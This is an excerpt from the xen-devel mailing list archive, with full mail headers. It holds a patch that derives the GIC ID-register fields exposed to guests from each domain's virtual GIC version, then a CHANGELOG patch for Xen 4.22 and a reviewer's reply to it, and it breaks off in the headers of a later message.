X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AS8PR03MB9746.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(376014)(366016)(6133799003)(18002099003)(11063799006)(56012099006);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?V5SOQUeQvocsQxdRxx68shrY2nrkAk0a+CYoF5VY739Iehbc2Pqs79lf7RDg?=
 =?us-ascii?Q?kI1GB/DlvF56L0LbrRP+oeB0l6BrGF98Akd6eW75XsD9SJzzmUN5QAHB1fP7?=
 =?us-ascii?Q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BfFzXSfmXmCVKanvyC4rxgyajClDlD1l?=
 =?us-ascii?Q?9tE1q2PD3Lcj45NAKCOuaqMfd34vP6lStnyBB6Kh0PDxgEh/JwicYGwOORlm?=
 =?us-ascii?Q?h3gkx9czQyIVzd4xnDXA/ngACGS3hbDotUP/lLbSIu5pXHUPozWJAv62wp33?=
 =?us-ascii?Q?C6SVf2BX0CVfvCtcCrXpt0yFB0ceNAd3SeuxvWChqozHFYo2KyaU4eLbhL6J?=
 =?us-ascii?Q?4iUvb0J/V39CShSnip1GcJRvFXWH/nxf2MaM29wI8PNcdxWs8TgZQ26hWGfW?=
 =?us-ascii?Q?oMYPDe59zu1nl/pWN5dNvpBecXLNWt54KT1Bt6QTcSGg3BfR6PPe5kUNEobN?=
 =?us-ascii?Q?eXjgyYHCTdE8Hb+V/r9JrFHpU/iI6ISY8znYUJs4UGOZxh+Gxq0RHVIaVlSg?=
 =?us-ascii?Q?FnvaXM1po2Vi/q0IWFGFC433WlBqFNC0oriGXOfggnSxYhCtxr87l+fEbAlz?=
 =?us-ascii?Q?LiwEdbWObAjOvgYKSRaGogqCJ4rDphWN392/0ydngKnhhzHQ2HUjLZgJmYo3?=
 =?us-ascii?Q?p0W9EEmJ9v7W93IJxspldtDSoKtkHkvMEPhZZik5tEPGIZYHhdYQ2elYirV4?=
 =?us-ascii?Q?cE+oXhClQMQWXo6c5+y2ojDRn3IirNXOQtftyQ/PySoub3EPmAnNWPJ3aFhB?=
 =?us-ascii?Q?SFK5wvi716Jigx0K8tJJcFUgjPnKKlB/XaOqMfuyK8Jg2eGj+onzYVMiiBMN?=
 =?us-ascii?Q?iOliPMCZ0CriIjwlzqWsO1zD6qw64PsB4Rf3w+bArbMwZ74UxyH5yyLuuaUv?=
 =?us-ascii?Q?kDaFnku4XQ=3D=3D?=
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 65618ea2-ead9-4244-1dd0-08dede660b9c
X-MS-Exchange-CrossTenant-AuthSource: AS8PR03MB9746.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 09:31:39.9429
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: adQAA22gqlSwW46RxnzUHBYvfRkmVNj+yYYHLmIIYcmgmmkwisx1hIzcYGf89bGP7DyNEQDAa86UJliOoB+1lQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS8PR03MB7623
X-purgate-ID: tlsNG-720697/1783675904-7CD2CA87-66781B53/0/0
X-purgate-type: clean
X-purgate-size: 5634

Xen exposes ID_AA64PFR0_EL1.GIC and ID_PFR1.GIC from
domain_cpuinfo, which is initialized from the sanitized host CPU feature
state. This does not necessarily match the virtual interrupt controller
configured for a domain.

On a GICv3 or newer host, a vGICv2 domain can observe a nonzero GIC
field even though Xen disables EL1 access to the GIC CPU system register
interface for that domain. On a GICv4.1 host, a vGICv3 domain can
observe encoding 0b0011, which advertises GICv4.1 CPU interface support
that Xen's vGICv3 model does not expose.

Derive both fields from d->arch.vgic.version in every trap path. Expose
0b0000 for vGICv2 and 0b0001 for vGICv3. This covers
ID_AA64PFR0_EL1 and the ID_PFR1_EL1 alias in AArch64 state, as well as
ID_PFR1 accessed through CP15 in AArch32 state.

This is consistent with KVM, which derives both ID fields from the
configured virtual GIC model.

Fixes: 07b9acea116e ("xen/arm: Add handler for ID registers on arm64")
Fixes: 8f81064a07c6 ("xen/arm: Add handler for cp15 ID registers")
Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
---
 xen/arch/arm/arm64/vsysreg.c | 35 ++++++++++++++++++++++++++++++++++-
 xen/arch/arm/vcpreg.c        | 25 ++++++++++++++++++++++++-
 2 files changed, 58 insertions(+), 2 deletions(-)

diff --git a/xen/arch/arm/arm64/vsysreg.c b/xen/arch/arm/arm64/vsysreg.c
index d14258290f..6b898f13f3 100644
--- a/xen/arch/arm/arm64/vsysreg.c
+++ b/xen/arch/arm/arm64/vsysreg.c
@@ -21,6 +21,7 @@
 #include <asm/arm64/cpufeature.h>
 #include <asm/arm64/sve.h>
 #include <asm/current.h>
+#include <asm/gic.h>
 #include <asm/regs.h>
 #include <asm/traps.h>
 #include <asm/vreg.h>
@@ -79,6 +80,24 @@ TVM_REG(CONTEXTIDR_EL1)
                                   1, domain_cpuinfo.field.bits[offset]); \
     }
 
+#define ID_REG_GIC_WIDTH 4
+
+static unsigned int vgic_id_gic_field(const struct domain *d)
+{
+    ASSERT(d->arch.vgic.version == GIC_V2 ||
+           d->arch.vgic.version == GIC_V3);
+
+    return d->arch.vgic.version == GIC_V3;
+}
+
+static register_t id_reg_set_gic_field(register_t val, unsigned int shift,
+                                       const struct domain *d)
+{
+    register_t mask = GENMASK(shift + ID_REG_GIC_WIDTH - 1, shift);
+
+    return (val & ~mask) | ((register_t)vgic_id_gic_field(d) << shift);
+}
+
 void do_sysreg(struct cpu_user_regs *regs,
                const union hsr hsr)
 {
@@ -304,7 +323,17 @@ void do_sysreg(struct cpu_user_regs *regs,
      * to identify the processor features
      */
     GENERATE_TID3_INFO(ID_PFR0_EL1, pfr32, 0)
-    GENERATE_TID3_INFO(ID_PFR1_EL1, pfr32, 1)
+    case HSR_SYSREG_ID_PFR1_EL1:
+    {
+        register_t guest_reg_value = domain_cpuinfo.pfr32.bits[1];
+
+        guest_reg_value = id_reg_set_gic_field(guest_reg_value,
+                                               ID_PFR1_GIC_SHIFT,
+                                               v->domain);
+
+        return handle_ro_read_val(regs, regidx, hsr.sysreg.read, hsr, 1,
+                                  guest_reg_value);
+    }
     GENERATE_TID3_INFO(ID_PFR2_EL1, pfr32, 2)
     GENERATE_TID3_INFO(ID_DFR0_EL1, dbg32, 0)
     GENERATE_TID3_INFO(ID_DFR1_EL1, dbg32, 1)
@@ -343,6 +372,10 @@ void do_sysreg(struct cpu_user_regs *regs,
             guest_reg_value |= (sysval << ID_AA64PFR0_SVE_SHIFT) & mask;
         }
 
+        guest_reg_value = id_reg_set_gic_field(guest_reg_value,
+                                               ID_AA64PFR0_GIC_SHIFT,
+                                               v->domain);
+
         return handle_ro_read_val(regs, regidx, hsr.sysreg.read, hsr, 1,
                                   guest_reg_value);
     }
diff --git a/xen/arch/arm/vcpreg.c b/xen/arch/arm/vcpreg.c
index e7c484f2c1..88351b91d3 100644
--- a/xen/arch/arm/vcpreg.c
+++ b/xen/arch/arm/vcpreg.c
@@ -12,6 +12,7 @@
 #include <asm/cpufeature.h>
 #include <asm/cpregs.h>
 #include <asm/current.h>
+#include <asm/gic.h>
 #include <asm/regs.h>
 #include <asm/traps.h>
 #include <asm/vreg.h>
@@ -173,6 +174,17 @@ TVM_REG32(CONTEXTIDR, CONTEXTIDR_EL1)
                                   domain_cpuinfo.field.bits[offset]);\
     }
 
+#define ID_PFR1_GIC_SHIFT 28
+#define ID_REG_GIC_WIDTH 4
+
+static unsigned int vgic_id_gic_field(const struct domain *d)
+{
+    ASSERT(d->arch.vgic.version == GIC_V2 ||
+           d->arch.vgic.version == GIC_V3);
+
+    return d->arch.vgic.version == GIC_V3;
+}
+
 /* helper to define cases for all registers for one CRm value */
 #define HSR_CPREG32_TID3_CASES(REG)     case HSR_CPREG32(p15,0,c0,REG,0): \
                                         case HSR_CPREG32(p15,0,c0,REG,1): \
@@ -321,7 +333,18 @@ void do_cp15_32(struct cpu_user_regs *regs, const union hsr hsr)
      * to identify the processor features
      */
     GENERATE_TID3_INFO(ID_PFR0, pfr32, 0)
-    GENERATE_TID3_INFO(ID_PFR1, pfr32, 1)
+    case HSR_CPREG32(ID_PFR1):
+    {
+        register_t guest_reg_value = domain_cpuinfo.pfr32.bits[1];
+
+        guest_reg_value &= ~GENMASK(ID_PFR1_GIC_SHIFT + ID_REG_GIC_WIDTH - 1,
+                                    ID_PFR1_GIC_SHIFT);
+        guest_reg_value |= (register_t)vgic_id_gic_field(v->domain) <<
+                           ID_PFR1_GIC_SHIFT;
+
+        return handle_ro_read_val(regs, regidx, cp32.read, hsr, 1,
+                                  guest_reg_value);
+    }
     GENERATE_TID3_INFO(ID_PFR2, pfr32, 2)
     GENERATE_TID3_INFO(ID_DFR0, dbg32, 0)
     GENERATE_TID3_INFO(ID_DFR1, dbg32, 1)
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 09:45:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 09:45:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359007.1612805 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7nn-0006Yd-9l; Fri, 10 Jul 2026 09:45:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359007.1612805; Fri, 10 Jul 2026 09:45:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi7nn-0006YW-6J; Fri, 10 Jul 2026 09:45:47 +0000
Received: by outflank-mailman (input) for mailman id 1359007;
 Fri, 10 Jul 2026 09:45:45 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi7nl-0006YL-Jj
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 09:45:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi7nl-005mgB-0T
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 11:45:45 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50bf3a-bab6-0a2a0a5309dd-0a2a4501b5c4-34
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:45:44 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a50bf48-3ea4-0a2a45010019-d155dd2ac404-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 11:45:44 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-4728c12ba97so336648f8f.0
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 02:45:44 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f214d2sm57585180f8f.33.2026.07.10.02.45.43
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Fri, 10 Jul 2026 02:45:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783676744; x=1784281544; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=ViDQVIrWNry3kq6NtICZkOlvD8UDkcI76ThKXkGwtgY=;
        b=ahKXg/Yhp2++rITeDq6STK3xfXKW/5uv7H2nHN845ns253ooleOho7UsKff6iQEr68
         eJDpRMWslYdtV22dBj0wYqb3/nMm6Sdq5+TqSJXEpwXAVioZ5+fFrOryB0uz/s7bo0Zj
         8h2TKO6KoXFpXM6Z7S9rgrdS1S2fwLRb5Avt501EzyV9wv01Zt9LsfK12DBzVKZC/POc
         cGQ3eDAbdgJ/oPR/er6eDt4Hmaum5dsAzRdwUW0p3jfeDn1eNm1I3vNnrd3YsnhR81Mc
         dhXA3xPIlfhzH1QL29gTER0yP512o8qPMTaauPOkqyA5xRyEViEOKKbLardW6wTYQcv8
         zT0Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783676744; x=1784281544;
        h=content-transfer-encoding:mime-version:message-id:date:subject:cc
         :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ViDQVIrWNry3kq6NtICZkOlvD8UDkcI76ThKXkGwtgY=;
        b=GQoIApero/fxN6pryaru7MwthWRUmTI39vsArPFHvTdz/XP1tDDZwuh7C8mpImF2g+
         s1/mLRrkVzZlFu58YB7oubuKhQCGUSuBXV3E4QlnUZT3KgSIDxnLNLHW2Yuva8lUpZ7a
         gL/Cmz2EFomHMui3DDDJPfn4w2+LpjvD4gAkSKLHwTsbgrF5Tv5X4rsf4loO83+2iNC/
         145e1GK0Pc9q4YSDTvsncJnWUPTpcYVO0DaG+SzQwqgPDgFJCwOZwtbB4eksc9+ZYfeR
         5RlJDZcOFMbVxKLZsuAq/N6P48t22/zPkhgcrnMviTiH+cRIJCfSq8aUBLrN+CtRHwcb
         XImg==
X-Gm-Message-State: AOJu0YyxrsKW8y91eeGaz+9U6nPNx7DmecMvTr/R/X02GLFV6BUzmVcy
	ugSXbF8BtrY8BRjBGxP7rusZNZu+k+yGiyW7/dR+iYxeLJO3n1o2b8q52OpbGw==
X-Gm-Gg: AfdE7clnecOSKsykyBM8vvd5fzPzmq9hliPq2qtEhYiw2sqwOTx6iZHgI5OdmH80tnb
	ToDR0TvHbc1hMasu97FX4psjI7968I7Pz7N+6B50+AKnYXDXZFNb/6Dl77NJLGSpO5vnlt/y863
	43s4QrakWi2EktWBrTnLHL+X78ycByE+9LNNeOQ41DhfH6mOk3vQfJCG+uLXpiVqjKgoq7uMsAB
	fXuhWFLY7MUvk+wrRmnmDfPRbBBhbmTcUXQ3kkGFNcSz0HsmyCjQqp6zrz9fN1Bopplsgd+42uB
	LMttezz573p1c4ynQsgxu0JqQFFgt0LcSisf28JurTmcg5O5s0j2UD+ZnlzhJXwJOYsPmJjqqiU
	eGYarbTRO7APLZiNLXHHE+N2UXQLFnlw2N/es6PYw43ffGOXz+lLrBCuF1Sd+T2Y5Fsjow2+Wz+
	ZiMaDCWO69aPVEW8V3c7wB7X13NjVkmwQYsjBbbWCWbP35LgHoCl/euTCORw==
X-Received: by 2002:a05:6000:2583:b0:472:55a:ef9b with SMTP id ffacd0b85a97d-47df072dfd8mr12064352f8f.8.1783676744169;
        Fri, 10 Jul 2026 02:45:44 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Community Manager <community.manager@xenproject.org>,
	"committers @ xenproject . org" <committers@xenproject.org>
Subject: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
Date: Fri, 10 Jul 2026 11:45:35 +0200
Message-ID: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1783676744-3E6F20A8-D67E070B/10/73395122804
X-purgate-type: spam
X-purgate-size: 864

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
 CHANGELOG.md | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 356be88351a9..c6f1fcf5aeec 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
  - On Arm:
    - Support for guest suspend and resume to/from RAM via vPSCI.
      Applies only to non-hardware domain guests.
+   - Armv8-r MPU support.
+   - Drop ThumbEE support.
+   - FF-A v1.2 Support.
+
+ - On RISC-V:
+   - SSTC extension support for Xen (not for guest yet)
+   - Add support of CONFIG_DOMAIN_BUILD_HELPERS which allows to load Linux
+     kernel, initrd and allocation related things for domain when device-tree
+     is used.
 
 ### Removed
  - On x86:
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:07:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:07:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359025.1612813 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi88i-00016h-Ur; Fri, 10 Jul 2026 10:07:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359025.1612813; Fri, 10 Jul 2026 10:07:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi88i-00016a-SH; Fri, 10 Jul 2026 10:07:24 +0000
Received: by outflank-mailman (input) for mailman id 1359025;
 Fri, 10 Jul 2026 10:07:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wi88i-00016U-96
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:07:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wi88g-00ERsZ-Sh
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 12:07:22 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a50c44a-e002-0a2a0a5209dd-0a2a4509ae92-44
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:07:22 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <jbeulich@suse.com>)
 id 6a50c45a-b440-0a2a45090019-d1558034c5a1-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 12:07:22 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-493c7902f47so6340225e9.1
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 03:07:22 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493f4cbc620sm27552005e9.13.2026.07.10.03.07.21
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Fri, 10 Jul 2026 03:07:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783678042; x=1784282842; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=Tpya6g8/Y41yLP57PF3RM6hdddwH9RFU9CqzacrXAb4=;
        b=OXA4kg8z6U3VtVTuRTch6BJ0BccidyEROuCOi5upHE+FrG+pE5l/9qJ6KqEQTwTTDB
         uDA854AwaNO1jS9Xs0wqIALeWIatWFgkEgJlkNkfqWFq56mVIN1iq2cjok9ypF7VHfKg
         xlUGA8+nDLRtV07ucoDNqdQW93zAPgyoXTX2bMQuarUoAZxQfN/3KdBgX0dw0V4/o5/Z
         QYCoZg9pN9jT3gRcbXvO8MbHF5FYIk8q2PInGPSUwn+xz7C1gKY39EE4fTbljkDjmIr1
         jftMQXPtTbdKM65JOVuWxrh7rDfONH6FbtyNV4jWUS6AWECtKn8oBqjDmQDPMV0So5Ae
         bLwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783678042; x=1784282842;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=Tpya6g8/Y41yLP57PF3RM6hdddwH9RFU9CqzacrXAb4=;
        b=fJziCiuvMEPotL/gvCNBmyEU9001GMh8CzIcQBB/xi+ewh37SVRbqO8wDIrQLPG7pg
         WmApe2bpQv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m/aaOL
	9H2
X-Received: by 2002:a05:600c:1d0b:b0:493:b6ee:fcb7 with SMTP id 5b1f17b1804b1-493e68432c5mr107827595e9.14.1783678042061;
        Fri, 10 Jul 2026 03:07:22 -0700 (PDT)
Message-ID: <e120d275-ec94-41cc-9c54-43966cc18dd8@suse.com>
Date: Fri, 10 Jul 2026 12:07:21 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] CHANGELOG: add Arm and RISC-V entries for 4.22
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Community Manager <community.manager@xenproject.org>,
 "committers @ xenproject . org" <committers@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <3111d0f6481046f6303e6d564ebafd381d763815.1783676659.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-bad1c0/1783678042-5FD67A0B-673F0EDA/10/73395122804
X-purgate-type: spam
X-purgate-size: 1135

On 10.07.2026 11:45, Oleksii Kurochko wrote:
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> ---
>  CHANGELOG.md | 9 +++++++++
>  1 file changed, 9 insertions(+)
> 
> diff --git a/CHANGELOG.md b/CHANGELOG.md
> index 356be88351a9..c6f1fcf5aeec 100644
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -46,6 +46,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/)
>   - On Arm:
>     - Support for guest suspend and resume to/from RAM via vPSCI.
>       Applies only to non-hardware domain guests.
> +   - Armv8-r MPU support.
> +   - Drop ThumbEE support.
> +   - FF-A v1.2 Support.
> +
> + - On RISC-V:
> +   - SSTC extension support for Xen (not for guest yet)
> +   - Add support of CONFIG_DOMAIN_BUILD_HELPERS which allows to load Linux
> +     kernel, initrd and allocation related things for domain when device-tree
> +     is used.

The first item maybe (with - nit - a full stop added). The second item I'm
having a hard time seeing how it could be relevant to anyone, until guests
can actually be created / started in at least a minimalist way.

Jan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 10:11:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 10:11:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359035.1612823 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8CB-0002ht-Ci; Fri, 10 Jul 2026 10:10:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359035.1612823; Fri, 10 Jul 2026 10:10:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wi8CB-0002hm-9v; Fri, 10 Jul 2026 10:10:59 +0000
Received: by outflank-mailman (input) for mailman id 1359035;
 Fri, 10 Jul 2026 10:10:58 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wi8CA-0002hg-4y
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 10:10:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
